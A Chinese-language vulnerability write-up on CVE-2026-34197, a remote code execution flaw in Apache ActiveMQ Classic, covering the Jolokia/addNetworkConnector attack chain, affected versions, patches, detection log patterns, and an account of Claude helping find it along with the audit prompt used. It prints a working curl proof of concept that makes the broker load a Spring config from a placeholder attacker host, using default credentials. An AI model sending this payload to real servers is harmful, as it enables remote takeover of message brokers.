文章总结： ApacheActiveMQClassic存在潜伏13年的远程代码执行漏洞CVE-2026-34197，攻击者可通过Jolokia接口调用BrokerMBean的addNetworkConnector方法，结合vm传输加载远程恶意Spring配置文件实现RCE。在6.0.0-6.1.1版本因CVE-2024-32114无需认证即可利用。修复方案包括升级至5.19.4/6.2.3版本、修改默认密码，并通过监控网络连接器日志与异常HTTP请求进行检测。 综合评分： 87 文章分类： 漏洞分析,应急响应,WEB安全,红队,威胁情报

10分钟，让Claude挖出一个隐藏13年的ActiveMQ严重漏洞（CVE-2026-34197）

幻泉之洲

2026年4月9日 09:02 北京

Apache ActiveMQ Classic中存在一个编号CVE-2026-34197的远程代码执行漏洞，它已经潜伏了整整13年。攻击者能够通过Jolokia管理接口，诱使消息代理加载并执行远程的恶意Spring XML配置文件。对于仍在运行老版本ActiveMQ的企业来说，这是个必须立即处理的高危风险。

漏洞的本质：一条不该被放行的特例

CVE-2026-34197能得逞，根源在于一个“为求方便”的糟糕决定。这个故事得从它的“前辈”CVE-2022-41678说起。

2023年，研究人员发现，一个已经通过认证的访问者，能通过ActiveMQ自带的Jolokia接口去调用Java JDK的管理组件（MBeans），比如FlightRecorder，直接往服务器磁盘里写Webshell。当时官方的修复办法简单粗暴：默认把Jolokia改成“只读”，并且封禁了所有危险的外部MBeans。但为了保证管理控制台自己能用，他们又加了一条特殊规则：允许对ActiveMQ自家的所有MBeans进行任何操作。

org.apache.activemq:*      *      *

就是这个标签，给后来的灾难埋了雷。它相当于开了一张空白支票：“只要是ActiveMQ自家的MBean，随便你怎么调用”。

新的漏洞恰恰利用了这张空白支票。

漏洞链条：从网络连接到代码执行

问题出在其中一个叫addNetworkConnector(String)的方法上，它属于Broker这个核心MBean。ActiveMQ支持把多个消息代理连成网络，这个方法就是用来动态建立这种桥接的。

但ActiveMQ还有个叫VM传输（vm://）的功能。这本来是给程序内嵌消息代理用的，纯粹为了提升单元测试效率，压根没想过要对外暴露。

漏洞利用的关键就在于把这两者强行组合起来。

当攻击者通过Jolokia调用addNetworkConnector时，如果他传入的发现URI里指定了一个不存在的vm://代理，ActiveMQ就会自动创建一个。更糟的是，这个创建过程支持一个brokerConfig参数，告诉新代理从哪里加载配置文件——而且，这个路径可以是攻击者控制的远程HTTP地址。

整个攻击链的PoC（概念验证）代码是这样的：

curl -s -X POST http://TARGET:8161/api/jolokia/    -H “Content-Type: application/json”    -H “Origin: http://TARGET:8161”    -u admin:admin    -d ‘{      “type”: “exec”,      “mbean”: “org.apache.activemq:type=Broker,brokerName=localhost”,      “operation”: “addNetworkConnector”,      “arguments”: [“static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)”]    }’

vm://传输发现代理不存在，就会调用BrokerFactory.createBroker()，并乖乖地去加载攻击者指定的xbean:http://...这个远程URL。xbean:这个协议头告诉ActiveMQ，这是一个Spring XML配置文件，然后把它丢给Spring的ResourceXmlApplicationContext去处理。Spring会老老实实地实例化文件里定义的所有Bean——远程代码执行就这么发生了。

攻击者构造的XML配置文件，可以利用Spring的MethodInvokingFactoryBean来直接调用Runtime.getRuntime().exec()，执行任意系统命令。这个利用途径和去年的另一个严重漏洞CVE-2023-46604一模一样，都是让ActiveMQ加载远程Spring配置惹的祸。

火上浇油：有些版本连密码都不用

你可能注意到了，上面的攻击需要先认证。用默认密码admin:admin在很多环境里都能混进去，但这毕竟还有个门槛。

但对于ActiveMQ 6.0.0到6.1.1这些版本，门槛直接没了。因为另一个编号CVE-2024-32114的漏洞，意外地把/api/*路径（Jolokia接口就在这个路径下）从Web控制台的安全限制里移除了。结果就是，在这些版本上，Jolokia接口完全不需要任何认证就能访问。

所以，在6.0.0–6.1.1这个版本范围内，CVE-2026-34197直接演变成了一个“无认证远程代码执行”漏洞，危险级别又拔高了一截。

修复、检测与反思

漏洞已经在ActiveMQ Classic的5.19.4和6.2.3版本中修复。补丁的思路很直接：直接禁止addNetworkConnector操作添加vm://传输，因为这功能本来就不该被远程调用。除了升级，你还得确保系统没在使用默认密码。

如果你暂时没法升级，可以通过日志来监控异常。攻击行为会在代理日志里留下非常明显的痕迹，主要是出现包含brokerConfig=xbean:http的vm:// URI的网络连接器活动，正常操作里根本不会出现这种东西：

INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] started  INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml  WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has no BrokerService instance for resource: xbean:http://X.X.X.X:8888/payload.xml  …  INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped

需要留意的是，命令执行发生在连接尝试阶段，那个“配置失败”的WARN日志出现时，攻击载荷早就已经运行完了。

其他监控点还包括：

• 检查是否有包含addNetworkConnector的POST请求发往/api/jolokia/
• 监控ActiveMQ代理进程是否向意外的主机发起了出站HTTP请求
• 注意是否有ActiveMQ Java进程产生的意外子进程

Claude的十分钟：安全研究范式已变

说实话，这个漏洞的挖掘过程很有意思。作者现在习惯先用Claude过一遍源代码，做漏洞挖掘的第一轮筛选。他给个简单的提示词，然后在网络上搭个靶机让Claude验证发现。

大多数时候，Claude能找到些有趣的东西，但够不上报个CVE的级别。这次不一样，Claude只凭几条基本提示就干得漂亮，作者说80%的功劳归它，人只做了20%的“包装”工作。

事后看，这个漏洞显而易见。但它为什么能隐藏13年？因为它涉及了多个随着时间推移独立开发的组件：Jolokia、JMX、网络连接器、VM传输。每个单独的功能都各司其职，但组合在一起就变得危险。这正是Claude这类工具的强项——它能不带任何先入为主的假设，高效地把这条攻击路径从头到尾拼凑出来。作者估计手动分析可能要一周，Claude只用了十分钟。

这给我们提了个醒：大语言模型已经把低复杂度漏洞的发现门槛拉低了好几个数量级。任何一个有安全背景的人，现在都能用上这些工具。安全研究和代码审计的“游戏规则”，可能已经和半年前不一样了。

作者的通用分析提示词也很有参考价值，结构清晰，重点明确：

Analyze this code base for vulnerabilities that can be exploited by a user with no prior privileges.  – Enumerate any endpoints accessible to an unauthenticated, guest, or anonymous user.  – Research prior commits and prior vulnerabilities to identify hot spots in the code.  – Analyze the code, focusing on these vulnerability classes:      – RCE: command injection, deserialization, arbitrary file upload , code injection, SSTI      – Authentication Bypass:  consider built-in auth, SAML, OAuth2, LDAP; password reset logic; session management; header spoofing; weak crypto, brute force protection, path/routing confusion      – Broken access control: missing authentication/authorization checks      – Arbitrary file read: Path traversal. If Windows is supported, pay special attention to Windows path handling      – SSRF: full-read and blind, consider redirect handling and DNS rebinding      – XXE      – SQLi: also consider second order SQLi      – Important misconfigurations:  default creds, default secret keys, default guest access, weak file permissions, web server config; look at all deployment types including Docker  – Call out any notable bad code smells for further review

 Ignore the following vuln classes:  – XSS  – CSRF  – Open Redirect  – Any denial of service (DOS)

漏洞时间线

• 2026年3月22日：Horizon3向Apache报告漏洞
• 2026年3月26日：Apache ActiveMQ团队确认报告并分配CVE编号
• 2026年3月30日：ActiveMQ Classic 6.2.3版本发布
• 2026年4月6日：Apache ActiveMQ发布安全公告
• 2026年4月7日：CVE-2026-34197正式发布，本文发布

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：幻泉之洲 《10分钟，让Claude挖出一个隐藏13年的ActiveMQ严重漏洞（CVE-2026-34197）》